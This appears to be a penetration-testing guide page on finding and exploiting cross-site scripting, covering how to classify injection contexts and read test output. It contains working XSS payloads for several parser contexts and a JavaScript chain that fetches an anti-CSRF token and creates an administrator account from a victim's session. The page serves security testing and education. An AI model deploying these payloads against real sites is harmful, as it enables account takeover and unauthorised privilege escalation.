Execute browser code and validate a useful same-origin action

Needs: Payload reaches a browser execution sink; any useful privileged action additionally needs a victim context, same-origin access and a valid request state

Then use a controlled proof appropriate to the context

<!-- Then use a controlled proof appropriate to the context -->
<img src=x onerror=alert(document.domain)>

Decisive output: JavaScript executes under the expected application origin and viewer context. Reflection or HTML display alone is not XSS.

Recreate a legitimate privileged workflow and obtain its anti-CSRF value first

reflected: victim must visit a crafted request;

stored: payload persists and a relevant user later renders it;

DOM-based: client-side code moves controlled data into an executable DOM sink.

Image/SVG/HTML5 event variants are alternative parser entry points, not evidence of distinct vulnerabilities. Inspect the resulting DOM and browser console/CSP before adding encoding or filter-bypass complexity.

// Recreate a legitimate privileged workflow and obtain its anti-CSRF value first
fetch('/admin/users/new')
  .then(r => r.text())
  .then(t => {
    const token = new DOMParser().parseFromString(t, 'text/html')
      .querySelector('input[name="csrf"]')?.value;
    return fetch('/admin/users', {
      method: 'POST',
      headers: {'Content-Type': 'application/x-www-form-urlencoded'},
      body: new URLSearchParams({username:'NEW_USER', password:'NEW_PASSWORD', role:'administrator', csrf:token})
    });
  });

Prerequisites: the payload is rendered by a suitably privileged victim, under the correct origin; the paths/fields come from captured normal behavior; CSP and application logic allow execution; the action is permitted in the victim session.

Verification: authenticate as NEW_USER and perform one administrator-only action. If application administration exposes a legitimate plugin/template/file-upload function, continue with web file handling and re-prove server execution.

Verify → Verify execution in the intended origin/role and independently verify any claimed action; reflection alone is not execution.

If it fails → Encoding, CSP, inert contexts or absent victim interaction can break the chain. Preserve browser execution separately from claimed account takeover. More detail ↓

If → then

Administrative actions/routes or request methods visible from a lower role → Cross role, function or session authorization boundaries
Needs: The lower-role identity can invoke a protected server-side action without its required authorization
A secret-like value, key file, stored hash, challenge response or ticket → Classify the artifact and its identity context
Needs: Artifact provenance and format; possible local/domain/application identity and compatible protocol
Forms, downloads, exports, account functions or role-specific interfaces → Map functions, roles and normal requests manually
Needs: A normal request baseline and the relevant account/role; authorized accounts for role comparisons

No useful finding → another task in this topic. Failed check → resolve the failure before ruling out the path.

Explanation & examples

Execute browser code and validate a useful same-origin action

USE WHEN: Untrusted input reaches an executable HTML/JavaScript context
STARTING ACCESS: A reproducible application request and a controlled input or access-context comparison
RESULT: Verified browser-context execution and, when enabled, an application privilege/action transition

Recognize the clue

Locate a normal reflected/stored input and inspect its final HTML/DOM context in the browser rather than treating raw reflection as execution.

curl -skG --data-urlencode 'PARAM=UNIQUE_MARKER' http://TARGET:PORT/PATH

SYNTHETIC EXAMPLE OUTPUT

Rendered context: <div>UNIQUE_MARKER</div>
Alternate response: &lt;script&gt;...&lt;/script&gt;

Means: The output context and escaping determine whether browser execution is plausible; the second form is escaped text.

Confirm: Verify the actual browser sink/execution, victim origin/role, required interaction and useful authorized same-origin action.

After validation: Browser execution and the specific privileged action are independently confirmed: choose the appropriate XSS chain.
Ruled out in this context: The value remains inert/escaped in the relevant sink: reject that payload/context.
Still inconclusive: Source reflection without DOM execution evidence leaves the browser effect unknown.

Troubleshooting: Encoding, CSP, inert contexts or absent victim interaction can break the chain. Preserve browser execution separately from claimed account takeover.

First inject a unique text marker and inspect where it appears in raw HTML and the DOM. Then use a controlled proof appropriate to the context:

Classify the path:

reflected: victim must visit a crafted request;
stored: payload persists and a relevant user later renders it;
DOM-based: client-side code moves controlled data into an executable DOM sink.

Decisive output: JavaScript executes under the expected application origin and viewer context. Reflection or HTML display alone is not XSS.

Match the proof to the observed parser context rather than trying a random payload list:

Observed insertion context	Minimal lab proof candidate	What failure means
HTML element body	`<svg onload=alert(document.domain)>`	Sanitization, CSP or non-executable render context
Double-quoted attribute	`" autofocus onfocus="alert(document.domain)`	Quote may be encoded or event attribute stripped
Existing JavaScript string	`';alert(document.domain);//`	Input may be JSON/string escaped or not reach executable script
URL-decoded parameter	percent-encode the context-matched payload in the request	Decode layer or client normalization differs

Image/SVG/HTML5 event variants are alternative parser entry points, not evidence of distinct vulnerabilities. Inspect the resulting DOM and browser console/CSP before adding encoding or filter-bypass complexity.

HttpOnly prevents JavaScript from reading that cookie, but same-origin XSS may still issue authenticated requests from the victim browser. Recreate a legitimate privileged workflow and obtain its anti-CSRF value first:

Prerequisites: the payload is rendered by a suitably privileged victim, under the correct origin; the paths/fields come from captured normal behavior; CSP and application logic allow execution; the action is permitted in the victim session.

Verification: authenticate as NEW_USER and perform one administrator-only action. If application administration exposes a legitimate plugin/template/file-upload function, continue with web file handling and re-prove server execution.

Why it works

Reflected, stored and DOM-based paths differ in delivery and sink. Browser JavaScript runs with the origin's access; HttpOnly blocks reading a cookie but does not automatically block authenticated same-origin requests.

Worked example · hypothetical

Observation: a stored marker is rendered in an administrator-facing page. Test: establish the actual output context and harmless execution proof. Illustrative output: code executes in that browser origin. Interpretation: assess whether a specific privileged same-origin action is reachable.

New identity, privilege, host or route? Re-enumerate → All topic tasks →

Study guide ↗Full procedure ↗Cheatsheet ↗